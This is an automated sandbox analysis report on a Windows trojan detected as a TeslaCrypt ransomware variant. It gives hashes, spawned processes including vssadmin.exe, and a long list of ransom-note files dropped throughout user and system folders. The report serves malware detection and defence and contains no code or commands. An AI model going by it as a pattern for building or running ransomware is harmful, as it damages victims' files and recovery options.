Susp_Dropper (Kaspersky), Gen:Variant.Symmi.57371 (B) (Emsisoft), Gen:Variant.Symmi.57371 (AdAware), Trojan.Win32.IEDummy.FD, TeslaCrypt21_pcap.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 00d88cb7c0838db03ec9ead41ce9cf8f
SHA1: d80770a8ea3c9f225c7b7d4dd99ee779222c0a1d
SHA256: 70f9925bb3af9edfacb485b56f2fcdc37458c453ecfffe9359f5c2d83780a849
SSDeep: 3072:IxSnef/w2c0bcpoJU AJ9bhtxlyBHbYwAltqCWQso3zFztoLV9lBB6cj27zcH2/X:eQezc0UogPKbAltWG/oL4T7vttIHPk
Size: 300975 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualCv60DLL, UPolyXv05_v6
Company: no certificate found
Created at: 2006-05-17 23:44:46
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228
The Trojan injects its code into the following process(es):No processes have been created.
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:1616 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)
The process vcwhqj.exe:228 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.html (5 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\Recovery_File_xpcyiernx.txt (250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.txt (2 bytes)
